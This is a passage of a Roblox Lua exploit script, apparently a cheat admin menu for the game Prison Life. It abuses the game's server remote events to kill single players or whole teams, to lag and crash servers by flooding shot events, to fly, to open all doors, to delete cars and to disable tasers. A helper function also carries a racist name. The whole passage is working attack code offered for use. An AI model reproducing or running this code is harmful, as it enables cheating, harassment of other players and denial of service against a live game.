  795. function API:KillPlayer(Target,Failed,DoChange)
  796. local Bullets = API:CreateBulletTable(20,(Target.Character:FindFirstChild("Head") or Target.Character:FindFirstChildOfClass("Part")))
  797. if not Target or not Target.Character or not Target.Character:FindFirstChildOfClass("Humanoid") or Target.Character:FindFirstChildOfClass("Humanoid").Health <1 then
  798. return
  799. end
  800. repeat API:swait() until not Target.Character:FindFirstChildOfClass("ForceField")
  801. local CurrentTeam = nil
  802. if Target.Team == Player.Team then
  803. if Target.Team~= game.Teams.Criminals then
  804. CurrentTeam = Player.Team
  805. API:ChangeTeam(game.Teams.Criminals,true)
  806. elseif Target.Team == game.Teams.Criminals then
  807. CurrentTeam = Player.Team
  808. API:ChangeTeam(game.Teams.Inmates,true)
  809. end
  810. end
  811.  
  812. local Gun = Player.Backpack:FindFirstChild("Remington 870") or Player.Character:FindFirstChild("Remington 870")
  813. API:GetGun("Remington 870")
  814. repeat API:swait()Gun = Player.Backpack:FindFirstChild("Remington 870") or Player.Character:FindFirstChild("Remington 870") until Gun
  815. task.spawn(function()
  816. game:GetService("ReplicatedStorage").ShootEvent:FireServer(Bullets, Gun)
  817. game:GetService("ReplicatedStorage").ReloadEvent:FireServer(Gun)
  818. end)
  819. coroutine.wrap(function()
  820. wait(.7)
  821. pcall(function()
  822. if Target.Character:FindFirstChildOfClass("Humanoid").Health >1 and not Failed then
  823. API:KillPlayer(Target,true)
  824. end
  825. end)
  826. end)()
  827. if CurrentTeam and not Player.Team == CurrentTeam and not DoChange then
  828. wait(.3)
  829. API:ChangeTeam(CurrentTeam,true)
  830. end
  831. end
  832. function API:GetGun(Item, Ignore)
  833. task.spawn(function()
  834. workspace:FindFirstChild("Remote")['ItemHandler']:InvokeServer({
  835. Position = Player.Character.Head.Position,
  836. Parent = workspace.Prison_ITEMS:FindFirstChild(Item, true)
  837. })
  838. end)
  839. end
  840. function API:CreateKillPart()
  841. if Temp.KillPart then
  842. pcall(function()
  843. Temp.KillPart:Destroy()
  844. end)
  845. Temp.KillPart = nil
  846. end
  847. local Part = Instance.new("Part",plr.Character)
  848. local hilight = Instance.new("Highlight",Part)
  849. hilight.FillTransparency = 1
  850.  
  851. Part.Anchored = true
  852. Part.CanCollide = false
  853. Part.CanTouch = false
  854. Part.Material = Enum.Material.SmoothPlastic
  855. Part.Transparency = .98
  856. Part.Material = Enum.Material.SmoothPlastic
  857. Part.BrickColor = BrickColor.White()
  858. Part.Size = Vector3.new(20,2,20)
  859. Part.Name = "KillAura"
  860. Temp.KillPart = Part
  861. end
  862. function API:MKILL(target,STOP,P)
  863. if target == plr or target == plr.Name then
  864. return
  865. end
  866. if typeof(target):lower() == "string" and game:GetService("Players"):FindFirstChild(target) then
  867. target = game:GetService("Players"):FindFirstChild(target)
  868. end
  869. if not STOP then STOP =1 end
  870. if not target or not target.Character or not target.Character:FindFirstChild("Humanoid") or target.Character:FindFirstChildOfClass("ForceField") or target.Character:FindFirstChild("Humanoid").Health<1 or not plr.Character or not plr.Character:FindFirstChildOfClass("Humanoid") or not plr.Character:FindFirstChild("HumanoidRootPart") then
  871. return
  872. end
  873. API:UnSit()
  874. local saved = API:GetPosition()
  875. if not P then P = saved else saved = P end
  876. game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = target.Character:FindFirstChild("Head").CFrame
  877. wait(.2)
  878. for i =1,10 do
  879. task.spawn(function()
  880. game.ReplicatedStorage["meleeEvent"]:FireServer(target)
  881. end)
  882. end
  883. wait(.1)
  884. if target and target.Character and target.Character:FindFirstChild("Humanoid") and target.Character:FindFirstChild("Humanoid").Health >1 and STOP ~=3 then
  885. API:MKILL(target,STOP+1,P)
  886. return
  887. end
  888. API:MoveTo(saved)
  889. end
  890. function API:killall(TeamToKill)
  891. if not TeamToKill then
  892. local LastTeam = Player.Team
  893. local BulletTable = {}
  894. if Player.Team ~= game.Teams.Criminals then
  895. API:ChangeTeam(game.Teams.Criminals,true)
  896. end
  897. API:GetGun("Remington 870")
  898. local Gun = Player.Backpack:FindFirstChild("Remington 870") or Player.Character:FindFirstChild("Remington 870")
  899. repeat API:swait() Gun = Player.Backpack:FindFirstChild("Remington 870") or Player.Character:FindFirstChild("Remington 870") until Gun
  900.  
  901. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  902. if v and v~=Player and v.Team == game.Teams.Inmates or v.Team == game.Teams.Guards and not table.find(API.Whitelisted,v) then
  903. for i =1,15 do
  904. BulletTable[#BulletTable + 1] = {
  905. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  906. ["Hit"] = v.Character:FindFirstChild("Head") or v.Character:FindFirstChildOfClass("Part"),
  907. }
  908. end
  909. end
  910. end
  911. task.spawn(function()
  912. game:GetService("ReplicatedStorage").ShootEvent:FireServer(BulletTable, Gun)
  913. end)
  914. API:ChangeTeam(game.Teams.Inmates,true)
  915. API:GetGun("Remington 870")
  916. repeat API:swait() Gun = Player.Backpack:FindFirstChild("Remington 870") or Player.Character:FindFirstChild("Remington 870") until Gun
  917. local Gun = Player.Backpack:FindFirstChild("Remington 870") or Player.Character:FindFirstChild("Remington 870")
  918. for i,v in pairs(game.Teams.Criminals:GetPlayers()) do
  919. if v and v~=Player and not table.find(API.Whitelisted,v) then
  920. for i =1,15 do
  921. BulletTable[#BulletTable + 1] = {
  922. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  923. ["Hit"] = v.Character:FindFirstChild("Head") or v.Character:FindFirstChildOfClass("Part"),
  924. }
  925. end
  926. end
  927. end
  928. task.spawn(function()
  929. game:GetService("ReplicatedStorage").ShootEvent:FireServer(BulletTable, Gun)
  930. end)
  931. if LastTeam ~= game.Teams.Inmates then
  932. API:ChangeTeam(LastTeam,true)
  933. end
  934. elseif TeamToKill then
  935. if TeamToKill == game.Teams.Inmates or TeamToKill == game.Teams.Guards then
  936. if Player.Team ~= game.Teams.Criminals then
  937. API:ChangeTeam(game.Teams.Criminals)
  938. end
  939. elseif TeamToKill == game.Teams.Criminals then
  940. if Player.Team ~= game.Teams.Inmates then
  941. API:ChangeTeam(game.Teams.Inmates)
  942. end
  943. end
  944. local BulletTable = {}
  945. for i,v in pairs(TeamToKill:GetPlayers()) do
  946. if v and v~=Player and not table.find(API.Whitelisted,v) then
  947. for i =1,15 do
  948. BulletTable[#BulletTable + 1] = {
  949. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  950. ["Hit"] = v.Character:FindFirstChild("Head") or v.Character:FindFirstChildOfClass("Part"),
  951. }
  952. end
  953. end
  954. end
  955. wait(.4)
  956. API:GetGun("M9")
  957. local Gun = Player.Backpack:FindFirstChild("M9") or Player.Character:FindFirstChild("M9")
  958. repeat task.wait() Gun = Player.Backpack:FindFirstChild("M9") or Player.Character:FindFirstChild("M9") until Gun
  959.  
  960. task.spawn(function()
  961. game:GetService("ReplicatedStorage").ShootEvent:FireServer(BulletTable, Gun)
  962. end)
  963. end
  964. end
  965. function API:GuardsFull(a)
  966. if #game:GetService("Teams").Guards:GetPlayers()==8 then
  967. if a then
  968. if Player.Team == game.Teams.Guards then
  969. return false
  970. end
  971. end
  972. return false
  973. end
  974. return true
  975. end
  976. function API:AllGuns()
  977. local saved = game:GetService("Players").LocalPlayer.Character:GetPrimaryPartCFrame()
  978. if game:GetService("MarketplaceService"):UserOwnsGamePassAsync(plr.UserId, 96651) then
  979. API:GetGun("M4A1", true)
  980. end
  981. API:GetGun("AK-47", true)
  982. task.spawn(function()
  983. API:GetGun("Remington 870", true)
  984. end)
  985. API:GetGun("M9", true)
  986. game:GetService("Players").LocalPlayer.Character:SetPrimaryPartCFrame(saved)
  987. end
  988. function API:GetHumanoid()
  989. return plr.Character:FindFirstChildOfClass("Humanoid")
  990. end
  991.  
  992. function API:touch(Toucher, TouchThis)
  993. if not Toucher or not TouchThis then
  994. return
  995. end
  996. task.spawn(function()
  997. firetouchinterest(Toucher, TouchThis, 0)
  998. firetouchinterest(Toucher, TouchThis, 1)
  999. end)
  1000. end
  1001. function AntiPunchC(v2)
  1002. if States.antipunch == false then
  1003. return
  1004. end
  1005. pcall(function()
  1006. if v2 == plr then
  1007. return
  1008. end
  1009. v2.Character:FindFirstChildOfClass("Humanoid").AnimationPlayed:Connect(function(animationTrack)
  1010. pcall(function()
  1011. if not Unloaded and States.antipunch then
  1012. if animationTrack.Animation.AnimationId == "rbxassetid://484200742" or animationTrack.Animation.AnimationId =="rbxassetid://484926359" then
  1013. if (plr.Character.HumanoidRootPart.Position-v2.Character.HumanoidRootPart.Position).magnitude <3.5 and States.antipunch and not table.find(API.Whitelisted,v2) then
  1014. for i =1,13 do
  1015. task.spawn(function()
  1016. game.ReplicatedStorage["meleeEvent"]:FireServer(v2)
  1017. end)
  1018. end
  1019. end
  1020. end
  1021. end
  1022. end)
  1023. end)
  1024. end)
  1025. end
  1026. local Flying = false
  1027. function API:Fly(speed)
  1028. Flying = true
  1029. local Controler = require(game:GetService("Players").LocalPlayer.PlayerScripts:WaitForChild('PlayerModule'):WaitForChild("ControlModule"))
  1030. local BodyA,BodyB = Instance.new("BodyVelocity"),Instance.new("BodyGyro")
  1031. BodyA.Parent = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart
  1032. BodyA.MaxForce = Vector3.new(0,0,0)
  1033. BodyA.Velocity = Vector3.new(0,0,0)
  1034. BodyB.Parent = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart
  1035. BodyB.MaxTorque = Vector3.new(4^234,4^234,4^234)
  1036. BodyB.P = 10000
  1037. BodyB.D = 50
  1038. Temp.FlyA = BodyA
  1039. Temp.FlyB = BodyB
  1040. local camera = game.Workspace.CurrentCamera
  1041. Temp.FlyConnection = game:GetService"RunService".RenderStepped:Connect(function()
  1042. if game:GetService("Players").LocalPlayer.Character and game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Health >0 and BodyA and BodyB then
  1043. local direction = Controler:GetMoveVector()
  1044. BodyA.MaxForce = Vector3.new(4^234,4^234,4^234)
  1045. BodyB.MaxTorque = Vector3.new(4^234,4^234,4^234)
  1046. BodyB.CFrame = camera.CoordinateFrame
  1047. BodyA.Velocity = Vector3.new()
  1048. if direction.X > 0 then
  1049. BodyA.Velocity = BodyA.Velocity + camera.CFrame.RightVector*(direction.X*(speed*10))
  1050. end
  1051. if direction.X < 0 then
  1052. BodyA.Velocity = BodyA.Velocity + camera.CFrame.RightVector*(direction.X*(speed*10))
  1053. end
  1054. if direction.Z > 0 then
  1055. BodyA.Velocity = BodyA.Velocity - camera.CFrame.LookVector*(direction.Z*(speed*10))
  1056. end
  1057. if direction.Z < 0 then
  1058. BodyA.Velocity = BodyA.Velocity - camera.CFrame.LookVector*(direction.Z*(speed*10))
  1059. end
  1060. end
  1061. end)
  1062. end
  1063. function API:Unfly()
  1064. if Flying then
  1065. Flying = false
  1066. API:Destroy(Temp.FlyA)
  1067. API:Destroy(Temp.FlyB)
  1068. Temp.FlyConnection:Disconnect()
  1069. API:Refresh(true)
  1070. end
  1071. end
  1072. function API:lag()
  1073. API:Notif("Lagging the server...")
  1074. local Bullets = API:CreateBulletTable(10, nil, true)
  1075. if API:GuardsFull() then
  1076. API:GetGun("M9")
  1077. else
  1078. API:ChangeTeam(game.Teams.Guards)
  1079. end
  1080. repeat
  1081. task.wait()
  1082. until Player.Backpack:FindFirstChild("M9") or Player.Character:FindFirstChild("M9")
  1083. game:GetService("ReplicatedStorage").ReloadEvent:FireServer(Player.Backpack:FindFirstChild("M9") or Player.Character:FindFirstChild("M9"))
  1084. for i = 1,40 do
  1085. local Gun = Player.Backpack:FindFirstChild("M9") or Player.Character:FindFirstChild("M9")
  1086. if not Gun or not API:GetHumanoid() or API:GetHumanoid() and API:GetHumanoid().Health < 1 then
  1087. task.wait(4)--//Ping cool down
  1088. API:lag()
  1089. break
  1090. end
  1091. coroutine.wrap(function()
  1092. game:GetService("ReplicatedStorage").ShootEvent:FireServer({}, Gun)
  1093. end)()
  1094. coroutine.wrap(function()
  1095. game:GetService("ReplicatedStorage").ReloadEvent:FireServer(Gun)
  1096. end)()
  1097. end
  1098. end
  1099.  
  1100. function API:CrashServer()
  1101. if not PremiumActivated then
  1102. return
  1103. end
  1104. API:Notif("Attempting to crash the server...")
  1105. local Bullets = API:CreateBulletTable(40, nil, true)
  1106. if API:GuardsFull() then
  1107. API:GetGun("M9")
  1108. else
  1109. API:ChangeTeam(game.Teams.Guards)
  1110. end
  1111. repeat
  1112. task.wait()
  1113. until Player.Backpack:FindFirstChild("M9") or Player.Character:FindFirstChild("M9")
  1114. game:GetService("ReplicatedStorage").ReloadEvent:FireServer(Player.Backpack:FindFirstChild("M9") or Player.Character:FindFirstChild("M9"))
  1115. local Gun = Player.Backpack:FindFirstChild("M9") or Player.Character:FindFirstChild("M9")
  1116. task.spawn(function()
  1117. for i = 1,5000 do
  1118. game:GetService("ReplicatedStorage").ShootEvent:FireServer({}, Gun)
  1119. end
  1120. end)
  1121. while wait() do
  1122. if not Gun or not API:GetHumanoid() or API:GetHumanoid() and API:GetHumanoid().Health < 1 then
  1123. task.wait(5)--//Ping cool down
  1124. API:CrashServer()
  1125. break
  1126. end
  1127. end
  1128. end
  1129. function API:Destroy(v)
  1130. v:Destroy()
  1131. pcall(function()
  1132. v:Remove()
  1133. end)
  1134. end
  1135. function API:BadArea(Player)
  1136. local mod = require(game.ReplicatedStorage["Modules_client"]["RegionModule_client"])
  1137. local a = pcall(function()
  1138. if mod.findRegion(Player.Character) then
  1139. mod = mod.findRegion(Player.Character)["Name"]
  1140. end
  1141. end)
  1142. if not a then
  1143. return
  1144. end
  1145. for i, v in pairs(game:GetService("ReplicatedStorage").PermittedRegions:GetChildren()) do
  1146. if v and mod == v.Value then
  1147. return false
  1148. end
  1149. end
  1150. return true
  1151. end
  1152.  
  1153.  
  1154. plr.CharacterAdded:Connect(function(NewCharacter)
  1155. if Unloaded then
  1156. return
  1157. end
  1158. task.spawn(function()
  1159. if States.AutoItems then
  1160. wait(.5)
  1161. API:AllGuns()
  1162. end
  1163. end)
  1164. repeat API:swait() until NewCharacter
  1165. NewCharacter:WaitForChild("HumanoidRootPart")
  1166. NewCharacter:WaitForChild("Head")
  1167. NewCharacter:WaitForChild("Humanoid").BreakJointsOnDeath = not States.AutoRespawn
  1168. NewCharacter:WaitForChild("Humanoid").Died:Connect(function()
  1169. if not Unloaded and States.AutoRespawn == true then
  1170. API:Refresh()
  1171. task.spawn(function()
  1172. if States.AutoItems then
  1173. wait(.5)
  1174. API:AllGuns()
  1175. end
  1176. end)
  1177. end
  1178. end)
  1179. if Temp.ArrestOldP and States.AntiArrest then
  1180. coroutine.wrap(function()
  1181. API:MoveTo(Temp.ArrestOldP)
  1182. Temp.ArrestOldP = nil
  1183. end)()
  1184. end
  1185. task.spawn(function()
  1186. if States.AntiArrest then
  1187. plr.Character:FindFirstChild("Head").ChildAdded:Connect(function(a)
  1188. if not Unloaded then
  1189. if a and a:IsA("BillboardGui") and States.AntiArrest then
  1190. API:Refresh()
  1191. coroutine.wrap(function()
  1192. wait(1)
  1193. Temp.ArrestOldP = API:GetPosition()
  1194. end)()
  1195. end
  1196. end
  1197. end)
  1198. end
  1199. end)
  1200. if States.AntiTase then
  1201. for i,v in pairs(getconnections(workspace:WaitForChild("Remote").tazePlayer.OnClientEvent)) do
  1202. v:Disable()
  1203. end
  1204. end
  1205. end)
  1206. API:Refresh(true)
  1207. local Killcool1 = false
  1208. plr:GetMouse().Button1Up:Connect(function()
  1209. local Target = plr:GetMouse().Target
  1210. if Killcool1 then return end
  1211. if States.ClickArrest or States.ClickKill then
  1212. if Target and Target.Parent and Target.Parent:FindFirstChildOfClass("Humanoid") and game:GetService("Players"):FindFirstChild(Target.Parent.Name) or game:GetService("Players"):FindFirstChild(Target.Parent.Parent.Name) then
  1213. local TargetModelPlr = game:GetService("Players"):FindFirstChild(Target.Parent.Name) or game:GetService("Players"):FindFirstChild(Target.Parent.Parent.Name)
  1214. if States.ClickArrest then
  1215. if TargetModelPlr.Team ~= game:GetService("Teams").Guards then
  1216. local ohInstance1 = Target
  1217. workspace.Remote.arrest:InvokeServer(ohInstance1)
  1218. end
  1219. end
  1220. if States.ClickKill then
  1221. API:KillPlayer(TargetModelPlr)
  1222. Killcool1 = true
  1223. wait(.6)
  1224. Killcool1 = false
  1225. end
  1226. end
  1227. end
  1228. end)
  1229. local ChangeState = function(Type,StateType)
  1230. local Value = nil
  1231. if Type and typeof(Type):lower() == "string" and (Type):lower() == "on" then
  1232. Value = true
  1233. elseif Type and typeof(Type):lower() == "string" and (Type):lower() == "off" then
  1234. Value = false
  1235. elseif typeof(Type):lower() == "boolean" then
  1236. Value = Type
  1237. else
  1238. Value = not States[StateType]
  1239. end
  1240. States[StateType] = Value
  1241. API:Notif(StateType.." has been changed to "..tostring(Value))
  1242. return Value
  1243. end
  1244. do
  1245. if PremiumActivated then
  1246. API:CreateCmd("removecars", "deletes all cars that are not seated", function(args)
  1247. local Old = API:GetPosition()
  1248. for i,v in pairs(game:GetService("Workspace").CarContainer:GetChildren()) do
  1249. if v then
  1250. repeat task.wait() until Player.Character:FindFirstChildOfClass("Humanoid").Health >1
  1251.  
  1252. local car = v
  1253. if car:FindFirstChild("RWD")and car:FindFirstChild("Body") and car:FindFirstChild("Body"):FindFirstChild("VehicleSeat").Occupant == nil then
  1254. local Seat = car.Body.VehicleSeat
  1255. car.PrimaryPart = car.RWD
  1256. repeat wait()
  1257. Seat:Sit(Player.Character:FindFirstChildOfClass("Humanoid"))
  1258. until Player.Character:FindFirstChildOfClass("Humanoid").Sit == true
  1259. for i =1,5 do
  1260. wait()
  1261. car:SetPrimaryPartCFrame(CFrame.new(3^5,workspace.FallenPartsDestroyHeight+5,23453225))
  1262. end
  1263. wait(.1)
  1264. API:UnSit()
  1265. end
  1266. end
  1267. end
  1268. API:MoveTo(Old)
  1269. end,nil,nil,true)
  1270. API:CreateCmd("lag", "lags the server", function(args)
  1271. API:lag()
  1272. end,nil,nil,true)
  1273. API:CreateCmd("kick", "!KICKS TIGER ADMIN USERS ONLY! SAY IN CHAT", function(args)
  1274. end,nil,"[TIGER ADMIN USER]",true)
  1275. API:CreateCmd("prefix", "Sets a different prefix", function(args)
  1276. local New = args[2]
  1277. if New and tostring(New) then
  1278. local Prefixn = tostring(New)
  1279. Settings.Prefix = Prefixn
  1280. API:Notif("prefix set to "..New)
  1281. else
  1282. API:Notif("no prefix selected?",false)
  1283. end
  1284. end,nil,"[NEW PREFIX]",true)
  1285. API:CreateCmd("unadmin", "Unadmins a player", function(args)
  1286. local Target = API:FindPlayer(args[2])
  1287. if Target then
  1288. if table.find(Temp.Admins,Target.Name) then
  1289. table.remove(Temp.Admins,table.find(Temp.Admins,Target.Name))
  1290. else
  1291. API:Notif("This player is not an admin!",false)
  1292. end
  1293. end
  1294. end,nil,nil,true)
  1295. API:CreateCmd("pp", "sus", function(args)
  1296. API:AllGuns()
  1297. wait(1)
  1298. for i,v in pairs(Player.Character:GetChildren()) do
  1299. if v:IsA("Tool") then
  1300. v.Parent = Player.Backpack
  1301. end
  1302. end
  1303. Player.Backpack.M9.Parent = Player.Character
  1304. Player.Backpack["AK-47"].Parent = Player.Character
  1305. Player.Backpack["Remington 870"].Parent = Player.Character
  1306. wait()
  1307. Player.Character.M9.GripPos = Vector3.new(0.9, 2, 0)
  1308. Player.Character["Remington 870"].GripPos = Vector3.new(0.9, 2, 2.1)
  1309. Player.Character["AK-47"].GripPos = Vector3.new(0.9, 2, 6.4)
  1310. wait()
  1311. for i,v in pairs(Player.Character:GetChildren()) do
  1312. if v:IsA("Tool") then
  1313. v.Parent = Player.Backpack
  1314. end
  1315. end
  1316. wait()
  1317. Player.Backpack.M9.Parent = Player.Character
  1318. Player.Backpack["AK-47"].Parent = Player.Character
  1319. Player.Backpack["Remington 870"].Parent = Player.Character
  1320. end,nil,nil,true)
  1321. API:CreateCmd("jeff", "Jeff the killer npc (rejoin to disable)", function(args)
  1322. task.spawn(function()
  1323. local player = game.Players.LocalPlayer
  1324. local anim = nil
  1325. local anim2 = nil
  1326. function blackpeople()
  1327. repeat
  1328. wait()
  1329. workspace.Remote.ItemHandler:InvokeServer({Position=player.Character.Head.Position,Parent=workspace.Prison_ITEMS.single["Crude Knife"]})
  1330. until player.Backpack:FindFirstChild("Crude Knife")
  1331. local crude = player.Backpack:WaitForChild("Crude Knife")
  1332. crude.Parent = player.Character
  1333. local anim = Instance.new("Animation")
  1334. local anim2 = anim:Clone()
  1335. anim.AnimationId = "rbxassetid://252557606"
  1336. anim2.AnimationId = crude:WaitForChild("Handle"):WaitForChild("Animation").AnimationId
  1337. anim = player.Character.Humanoid:LoadAnimation(anim)
  1338. anim2 = player.Character.Humanoid:LoadAnimation(anim2)
  1339. anim:Play()
  1340. anim.Looped = true
  1341. end
  1342. blackpeople()
  1343. player.CharacterAdded:Connect(function(a)
  1344. a:WaitForChild("HumanoidRootPart")
  1345. blackpeople()
  1346. end)
  1347. task.spawn(function()
  1348. local function findNearestPlayer(Position)
  1349. wait(0.3)
  1350. local List = game.Workspace:children()
  1351. local Torso = nil
  1352. local Distance = 30
  1353. local Temp = nil
  1354. local Human = nil
  1355. local Temp2 = nil
  1356. for x = 1, #List do
  1357. Temp2 = List[x]
  1358. if (Temp2.className == "Model") and (Temp2 ~= player.Character) then
  1359. Temp = Temp2:findFirstChild("HumanoidRootPart")
  1360. Human = Temp2:findFirstChild("Humanoid")
  1361. if (Temp ~= nil) and (Human ~= nil) and (Human.Health > 0) then
  1362. if (Temp.Position - Position).magnitude < Distance then
  1363. Torso = Temp
  1364. Distance = (Temp.Position - Position).magnitude
  1365. end
  1366. end
  1367. end
  1368. end
  1369. return Torso
  1370. end
  1371. task.spawn(function()
  1372. while wait(math.random(3,5)) do
  1373. pcall(function()
  1374. player.Character:FindFirstChildOfClass("Humanoid").Jump = true
  1375. end)
  1376. end
  1377. end)
  1378. while true do
  1379. task.wait()
  1380. pcall(function()
  1381. game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):SetStateEnabled(Enum.HumanoidStateType.Seated, true)
  1382. player.Character.Humanoid.WalkSpeed = 25
  1383. local target = findNearestPlayer(player.Character.HumanoidRootPart.Position)
  1384. if target ~= nil then
  1385. player.Character.Humanoid:MoveTo(target.Position, target)
  1386. if (target.Position - player.Character.Head.Position).magnitude < 5 then
  1387. if anim2 then
  1388. anim2:Play()
  1389. anim2.Priority = Enum.AnimationPriority.Action4
  1390. end
  1391. for i = 1,3 do game.ReplicatedStorage.meleeEvent:FireServer(game.Players[target.Parent.Name]) end
  1392. end
  1393. else
  1394. wait(math.random(2,3))
  1395. local new = player.Character:GetPrimaryPartCFrame()
  1396. new = new *CFrame.new(math.random(4,17),0,math.random(4,24)).Position
  1397. player.Character.Humanoid:MoveTo(new)
  1398. end
  1399. end)
  1400. end
  1401. end)
  1402. end)
  1403. end,nil,nil,true)
  1404. API:CreateCmd("opendoors", "Opens every single door", function(args)
  1405. if not firetouchinterest then
  1406. return API:Notif("Your exploit doesnt support this command!",false)
  1407. end
  1408. local LastTeam =plr.Team
  1409. API:ChangeTeam(game.Teams.Guards)
  1410. wait(.7)
  1411. task.spawn(function()
  1412. local Arg_1 = game:GetService("Workspace")["Prison_ITEMS"].buttons["Prison Gate"]["Prison Gate"]
  1413. local Event = game:GetService("Workspace").Remote.ItemHandler
  1414. Event:InvokeServer(Arg_1)
  1415. end)
  1416. for i,v in pairs(game:GetService("Workspace").Doors:GetChildren()) do
  1417. if v then
  1418. if v:FindFirstChild("block") and v:FindFirstChild("block"):FindFirstChild("hitbox") then
  1419. firetouchinterest(Player.Character.HumanoidRootPart,v.block.hitbox,0)
  1420. firetouchinterest(Player.Character.HumanoidRootPart,v.block.hitbox,1)
  1421. end
  1422. end
  1423. end
  1424. wait(1)
  1425. API:ChangeTeam(LastTeam)
  1426. end,nil,nil,true)
  1427. API:CreateCmd("loopopendoors", "Opens every single door on loop", function(args)
  1428. local value = ChangeState(args[2],"loopopendoors")
  1429. if value then
  1430. while wait(2.4) do
  1431. if not States.loopopendoors then
  1432. break
  1433. end
  1434. if not firetouchinterest then
  1435. return API:Notif("Your exploit doesnt support this command!",false)
  1436. end
  1437. local LastTeam =plr.Team
  1438. API:ChangeTeam(game.Teams.Guards)
  1439. wait(.7)
  1440. task.spawn(function()
  1441. local Arg_1 = game:GetService("Workspace")["Prison_ITEMS"].buttons["Prison Gate"]["Prison Gate"]
  1442. local Event = game:GetService("Workspace").Remote.ItemHandler
  1443. Event:InvokeServer(Arg_1)
  1444. end)
  1445. for i,v in pairs(game:GetService("Workspace").Doors:GetChildren()) do
  1446. if v then
  1447. if v:FindFirstChild("block") and v:FindFirstChild("block"):FindFirstChild("hitbox") then
  1448. if not States.loopopendoors then
  1449. break
  1450. end
  1451. firetouchinterest(Player.Character.HumanoidRootPart,v.block.hitbox,0)
  1452. firetouchinterest(Player.Character.HumanoidRootPart,v.block.hitbox,1)
  1453. end
  1454. end
  1455. end
  1456. if not States.loopopendoors then
  1457. break
  1458. end
  1459. wait(1)
  1460. API:ChangeTeam(LastTeam)
  1461. end
  1462. end
  1463. end,nil,nil,true)
  1464.  
  1465. API:CreateCmd("grabknife", "Cool script [REJOIN TO STOP]", function(args)
  1466. task.spawn(function()
  1467. workspace.Remote.ItemHandler:InvokeServer({Position=game:GetService("Players").LocalPlayer.Character.Head.Position,Parent=workspace.Prison_ITEMS.single["Crude Knife"]})
  1468. repeat task.wait() until game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Crude Knife")
  1469. game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Crude Knife").Parent = game:GetService("Players").LocalPlayer.Character
  1470. local Player = game:GetService("Players").LocalPlayer
  1471. local Character = Player.Character
  1472. local Crude = Player.Backpack:FindFirstChild("Crude Knife") or Player.Character:FindFirstChild("Crude Knife")
  1473. local OldPosition = Crude.Grip
  1474. local PlayingAnimations = {}
  1475. local Target = nil
  1476. Player.CharacterAdded:Connect(function(a)
  1477. a:WaitForChild("Humanoid")
  1478. Character = a
  1479. wait(.7)
  1480. workspace.Remote.ItemHandler:InvokeServer({Position=game:GetService("Players").LocalPlayer.Character.Head.Position,Parent=workspace.Prison_ITEMS.single["Crude Knife"]})
  1481. repeat task.wait() until game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Crude Knife")
  1482. game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Crude Knife").Parent = game:GetService("Players").LocalPlayer.Character
  1483. Crude= Player.Backpack:FindFirstChild("Crude Knife") or Player.Character:FindFirstChild("Crude Knife")
  1484. Crude.Equipped:connect(function()
  1485. task.wait(0.4)
  1486. for _,Animation in pairs(Character.Humanoid:GetPlayingAnimationTracks()) do
  1487. if string.find(Animation.Animation.AnimationId, "182393478") then
  1488. Animation:Stop()
  1489. end
  1490. end
  1491. end)
  1492. end)
  1493. local Mouse = Player:GetMouse()
  1494. local function StopAnimations()
  1495. for i,v in pairs(PlayingAnimations) do
  1496. if v then
  1497. v:Stop()
  1498. end
  1499. end
  1500. end
  1501. local function SetPos(New,New2,IsSlashing)
  1502. Crude.Parent = Player.Backpack
  1503. Crude.Grip = New2
  1504. Crude.Grip *= New
  1505. Crude.Parent = Player.Character
  1506. if IsSlashing then
  1507. task.spawn(function()
  1508. game:GetService("ReplicatedStorage").meleeEvent:FireServer(Target)
  1509. end)
  1510. end
  1511. end
  1512. local function Idle()
  1513. StopAnimations()
  1514. Crude.Parent = Player.Backpack
  1515. Crude.Grip = OldPosition
  1516. Crude.Parent = Player.Character
  1517. end
  1518. Crude.Equipped:connect(function()
  1519. task.wait(0.4)
  1520. for _,Animation in pairs(Character.Humanoid:GetPlayingAnimationTracks()) do
  1521. if string.find(Animation.Animation.AnimationId, "182393478") then
  1522. Animation:Stop()
  1523. end
  1524. end
  1525. end)
  1526. local function Holding()
  1527. local a = Instance.new("Animation")
  1528. a.AnimationId = "rbxassetid://175676962"
  1529. a = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(a)
  1530. a:Play()
  1531. a:AdjustSpeed(0)
  1532. table.insert(PlayingAnimations, a)
  1533. SetPos(CFrame.new(1.4,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)))
  1534. end
  1535. local function Slash()
  1536. StopAnimations()
  1537. local a = Instance.new("Animation")
  1538. a.AnimationId = "rbxassetid://175676962"
  1539. a = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(a)
  1540. a:Play()
  1541. a:AdjustSpeed(0)
  1542. table.insert(PlayingAnimations, a)
  1543. SetPos(CFrame.new(1.4,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)),true)
  1544. task.wait()
  1545. SetPos(CFrame.new(1.3,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)))
  1546. task.wait()
  1547. SetPos(CFrame.new(1.2,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)))
  1548. task.wait()
  1549. SetPos(CFrame.new(1.1,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)))
  1550. task.wait()
  1551. SetPos(CFrame.new(1,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)))
  1552. task.wait()
  1553. SetPos(CFrame.new(0.9,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)),true)
  1554. task.wait()
  1555. SetPos(CFrame.new(0.8,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)))
  1556. task.wait()
